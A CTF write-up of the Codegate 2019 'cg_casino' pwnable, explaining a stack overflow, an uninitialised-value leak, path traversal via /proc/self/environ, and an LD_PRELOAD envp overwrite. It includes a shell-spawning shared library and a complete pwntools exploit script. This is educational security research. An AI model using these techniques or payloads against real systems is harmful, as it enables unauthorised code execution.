Codegate CTF 2019 Quals - cg_casino

1st Aug 2024
4 min read
Tags:
ctf,
pwnable,
bof,
/proc/self/environ,
ld_preload,
small libc,
envp

0x00. Introduction

[*] '/home/user/cg_casino'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Concept

➜  nc 0 6677
$$$$$$$$$$$$$$$$$$$$$$$$
$$$$$$  CG CASINO $$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$
1) put voucher
2) merge voucher
3) lotto
4) up down game
5) slot machine
6) exit
>

The challenge implements three casino games along with put voucher and merge voucher functionalities.

0x01. Vulnerability

Stack Overflow

void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  char new[48]; // [rsp+30h] [rbp-60h] BYREF
  char old[40]; // [rsp+60h] [rbp-30h] BYREF
  ...
    switch ( choice )
    {
      case 1:
        memset(new, 0, 0x28uLL);
        printf("input voucher : ");
        read_401108((__int64)new);
        len32_alnum_4010A4(new);
        break;
      case 2:
        memset(old, 0, sizeof(old));
        printf("input old voucher : ");
        read_401108((__int64)old);
        xstat_unlink_400F09(new, old);
        break;
    }
  ...
}

When putting or merging a voucher, the voucher name is received through read_401108():

unsigned __int64 __fastcall read_401108(__int64 a1)
{
  ...
  while ( 1 )
  {
    if ( (unsigned int)read(0, &buf, 1uLL) != 1 )
      exit(-1);
    if ( buf == 10 )
      break;
    index = i++;
    *(_BYTE *)(a1 + index) = buf;
  }
  v1 = i++;
  *(_BYTE *)(v1 + a1) = 0;
  ...
}

The function reads input byte by byte until encountering \n, which causes an overflow all the way to the end of the stack.

However, since main() calls exit() directly without returning, gaining RIP control appears difficult.

Stack Leak

I stumbled upon this during dynamic analysis - there’s a leak of uninitialized data in lotto_4011A7():

unsigned __int64 lotto_4011A7()
{
  ...
  int number[6]; // [rsp+10h] [rbp-40h]
  int guess[6]; // [rsp+30h] [rbp-20h] BYREF
  ...
  while ( i <= 5 )
  {
    __isoc99_scanf("%u", &guess[i]);
    getchar();
    if ( (unsigned int)guess[i] <= 44 )
      ++i;
    else
      printf("%u : out of range\n", (unsigned int)guess[i]);
  }
  puts("===================");
  ...
}

The game generates 6 random numbers between 0-44, stores them, and asks you to guess them by filling the guess array.

Here’s the issue: if you input something that doesn’t match the %u format (like a), scanf fails and prints the existing value in guess:

GUESS 6 Numbers!
===================
|  |  |  |  |  |  |
===================
a a a a a a
2522534248 : out of range
2522534248 : out of range
2522534248 : out of range
2522534248 : out of range

File Copy

This is actually a feature rather than a vulnerability, but merge voucher calls this function:

unsigned __int64 __fastcall xstat_unlink_400F09(const char *new, char *old)
{
  ...
  if ( strlen(old) == 32 )
  {
    if ( xstat_4016D0(old, &n_4) == -1 )
    {
      puts("voucher doesn't exist");
    }
    else if ( n_4.st_size <= 4096 )
    {
      fd_old = open(old, 0);
      if ( fd_old != -1 )
      {
        len = read(fd_old, buf, 4096uLL);
        close(fd_old);
        fd_new = open(new, 66, 384LL);
        if ( fd_new != -1 )
        {
          write(fd_new, buf, len);
          close(fd_new);
          unlink(old);
        }
        memset(buf, 0, 0x1000uLL);
      }
    }
    ...
  }
}

By specifying a filename in stack’s new through put voucher, you can move any 32-byte filename to the /home/cg_casino/voucher/ directory. Since there’s no validation on the input, the length restriction can be bypassed by combining ../ and ./:

../../../../../../././etc/passwd

0x02. Exploit

File Drop

That’s all the vulnerabilities, but the problem is there’s no way to upload files to the server. I needed to somehow upload a file, use merge voucher to move it to /home/cg_casino/voucher/, then proceed to the next step…

That’s when I found this in the /proc/self/environ file:

cg_casino@3197b44a521a:~/voucher$ cat /proc/1203/environ
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=3197b44a52
1aERASER2=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
...

The AAAA values are environment variables defined in docker-compose.yml, and the front part being overwritten with different content suggested the values reflect runtime changes.

When I actually overwrote the environment variables til the end of the stack, I confirmed that /proc/self/environ changed:

cg_casino@3197b44a521a:~/voucher$ cat /proc/1241/environ
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
...

So we can manipulate stack values to leave data into a file at /proc/self/environ.

Stack Overflow & File Copy

There are three conditions to write libc data to /proc/self/environ and bring it to /home/cg_casino/voucher:

new in main must be the filename to save in /home/cg_casino/voucher
old in main must be 32 bytes long and point to /proc/self/environ
libc data must be written to the environment variable space at the end of the stack

So I structured the payload as follows:

    payload = b"mylib.so\x00"
    payload += b"\x00" * (env - buf - len(payload))
    payload += lib_data
    payload += b"\x00" * (3432 - (len(payload)))
    put_voucher(s, payload)

    merge_voucher(s, b"../../../../../proc/self/environ")

During this process, since input is received through read_401108(), there’s a risk of data being cut off if libc contains \x0a. There was indeed a \x0a, so I tried replacing it with \x0b and fortunately the libc worked fine:

    with open("./mylib.so", "rb") as f:
        lib_data = f.read()
    lib_data = lib_data.replace(b"\x0a", b"\x0b")

This needs to be added to the payload.

Small Libc

Another issue here is that the environment variable area has limits, restricting the length of data that can be brought via merge voucher:

root@3197b44a521a:/home/cg_casino/voucher# ls -al
total 16
drwxrwx-wx 1 root      root      4096 Aug  1 05:24 .
drwxr-xr-x 1 root      root      4096 Jul 31 08:08 ..
-rw------- 1 cg_casino cg_casino 3432 Aug  1 05:23 mylib.so

I needed a libc smaller than 3432 bytes, which I created by compiling this source code on Ubuntu 16.04:

// gcc -w -znorelro -s -fPIC -shared -nostdlib -o mylib.so mylib.c
__attribute__((destructor))
void on_unload() {
	system("/bin/sh");
}

Interestingly, Ubuntu 22.04 produces a much larger file size with the same compilation options - compiler version can make such a significant difference:

➜  ls -al | grep mylib_from
-rwxr-xr-x 1 user user    2632 Aug  1 08:28 mylib_from1604.so
-rwxr-xr-x 1 user user   10160 Aug  1 14:40 mylib_from2204.so

Stack Leak

As confirmed earlier, inputting non-%u format data in lotto_4011A7() prints guess[i] data. Since guess is an array of 6 integers, we can examine 0x18 bytes of memory. Checking the uninitialized guess values:

gef➤  x/3gx $rsp+0x30
0x7fffffffdef0: 0x0000000000000000      0x00007ffff7ffe168
0x7fffffffdf00: 0x0000000000000000

There’s a libc region address, but considering what we need, it’s closer to a stack address. I checked if executing another function first could leave a stack address at $rsp+0x30. Calling up_down_40139E() followed by lotto_4011A7() works:

gef➤  x/3gx $rsp+0x30
0x7fffffffdef0: 0x0000000000000000      0x00007fffffffdf10
0x7fffffffdf00: 0x0000000000400bb0

Since guess is integer, inputting ‘a’ for the 3rd and 4th inputs leaks 4 bytes each:

    updown(s, [1, 1, 1, 1, 1, 1])
    r = lotto(s, b"1 2 a 3 a 4 5 6")
    lower = int(r.split(b" : ")[0])
    upper = int(r.split(b" : ")[1].split(b"\n")[1])
    buf = upper << 32 | lower + 0x40
    log.info(f"buf : {hex(buf)}")

Envp Overwrite

Now that the libc file executing the shell is in /home/cg_casino/voucher, we just need to execute it. The common technique for loading a desired libc uses the LD_PRELOAD environment variable, so I considered how to leverage this.

Since I defined on_unload() in the libc, I needed to verify two things:

Does exit(0); trigger on_unload()?
Does modifying environment variables after execution apply LD_PRELOAD?

I wrote test code and confirmed #1 works, but unfortunately #2 doesn’t. So I need to manipulate the current process’s environment variables and execute a process that uses those variables.

Then I remembered that slot_401477() uses system("/usr/bin/clear");, and during dynamic analysis this message appeared:

        _______
       |JACKPOT|
=========================
|   ___    ___    ___    |
|  | ? |  | ? |  | ? |   |
|  |___|  |___|  |___|   |
=========================
|________________________|
press any key

TERM environment variable not set

The current process cg_casino has environment variables cleared via ERASER in docker-compose.yml. When using system() here, execve() is called internally and **envp seems to be passed in this process.

**envp is passed as the third argument when main() is called, and stored at $rbp-0x88 early in main():

   0x400ca6:    push   rbp
   0x400ca7:    mov    rbp,rsp
   0x400caa:    sub    rsp,0x90
   0x400cb1:    mov    DWORD PTR [rbp-0x74],edi
   0x400cb4:    mov    QWORD PTR [rbp-0x80],rsi
   0x400cb8:    mov    QWORD PTR [rbp-0x88],rdx

Following the memory:

gef➤  x/gx $rbp-0x88
0x7fffffffdf28: 0x00007fffffffe0a8
gef➤  x/10gx 0x00007fffffffe0a8
0x7fffffffe0a8: 0x00007fffffffe276      0x00007fffffffe2b8
0x7fffffffe0b8: 0x00007fffffffe2ce      0x00007fffffffe564
0x7fffffffe0c8: 0x00007fffffffe7fa      0x00007fffffffea90
0x7fffffffe0d8: 0x00007fffffffed26      0x00007fffffffefbc
0x7fffffffe0e8: 0x00007fffffffefc7      0x0000000000000000
gef➤  x/s 0x00007fffffffe276
0x7fffffffe276: "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

The structure is **envp(0x7fffffffdf28) -> *envp(0x7fffffffe0a8) -> first env(0x7fffffffe276)`.

So we need to follow this structure, making sure to include null at the end of *envp:

    payload = b"\x00" * (env_p_p - buf)
    payload += p64(env_p)
    payload += b"\x00" * (env_p - buf - len(payload))
    payload += p64(env)
    payload += b"\x00" * (env - buf - len(payload))
    payload += b"LD_PRELOAD=/home/cg_casino/voucher/mylib.so\x00"
    put_voucher(s, payload)

    s.sendline(b"5")

The problem is that the environment variables end up at the edge of the stack, and this offset isn’t consistent, creating a probability issue. Continuously checking the difference showed variations around 0xXX0, suggesting success rate of 1/256.

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
import sys, os

DEBUG = False
BINARY = "cg_casino"
CONTAINER = "d20ec1bc9a88"

bp = {
    "getchar_of_main" : 0x400CF8,
    "read_bof" : 0x401108,
    "xstat_unlink" : 0x400F09,
    "slotmachine" : 0x401477,
    "lotto" : 0x4011A7,
    "scanf_of_lotto" : 0x40129D,
}

gs = f'''
set follow-fork-mode child
!b *{bp["xstat_unlink"]}
b *{bp["getchar_of_main"]}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def put_voucher(s, new):
    s.sendline(b"1")
    s.recvuntil(b" : ")
    s.sendline(new)
    sleep(0.1)
    return s.recvuntil(b"> ")

def merge_voucher(s, old):
    s.sendline(b"2")
    s.recvuntil(b" : ")
    s.sendline(old)
    return s.recvuntil(b"> ")

def lotto(s, numbers):
    s.sendline(b"3")
    sleep(0.1)
    s.recv()
    s.sendline(numbers)
    return s.recvuntil(b"> ")

def updown(s, numbers):
    s.sendline(b"4")
    s.recvuntil(b". \n")
    for number in numbers:
        s.sendline(str(number).encode())
        s.recvuntil(b"it\n")
    return s.recvuntil(b"> ")

def main():
    if(len(sys.argv) > 1):
        s = remote("0.0.0.0", int(sys.argv[1]))
        pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
        if DEBUG:
            gdb.attach(int(pid), gs, exe=BINARY, sysroot="./")
    else:
        s = process(f"/home/user/{BINARY}")
        if DEBUG:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    
    with open("./mylib.so", "rb") as f:
        lib_data = f.read()
    lib_data = lib_data.replace(b"\x0a", b"\x0b")

    s.recvuntil(b"> ")

    updown(s, [1, 1, 1, 1, 1, 1])
    r = lotto(s, b"1 2 a 3 a 4 5 6")
    lower = int(r.split(b" : ")[0])
    upper = int(r.split(b" : ")[1].split(b"\n")[1])
    buf = upper << 32 | lower + 0x40
    log.info(f"buf : {hex(buf)}")

    env = buf + 0x1796
    env = buf + 0x326
    env_p = buf + 0x158
    env_p_p = buf + 0xe8
    log.info(f"env_p_p : {hex(env_p_p)}")
    log.info(f"env_p : {hex(env_p)}")
    log.info(f"env : {hex(env)}")

    payload = b"mylib.so\x00"
    payload += b"\x00" * (env - buf - len(payload))
    payload += lib_data
    payload += b"\x00" * (3432 - (len(payload)))
    put_voucher(s, payload)
    
    pause()

    merge_voucher(s, b"../../../../../proc/self/environ")

    payload = b"\x00" * (env_p_p - buf)
    payload += p64(env_p)
    payload += b"\x00" * (env_p - buf - len(payload))
    payload += p64(env)
    payload += b"\x00" * (env - buf - len(payload))
    payload += b"LD_PRELOAD=/home/cg_casino/voucher/mylib.so\x00"
    put_voucher(s, payload)

    s.sendline(b"5")

    s.interactive()

if __name__=='__main__':
    main()

Codegate CTF 2019 Quals - cg_casino

Table of Contents

0x00. Introduction

Concept

0x01. Vulnerability

Stack Overflow

Stack Leak

File Copy

0x02. Exploit

File Drop

Stack Overflow & File Copy

Small Libc

Stack Leak

Envp Overwrite

0x03. Payload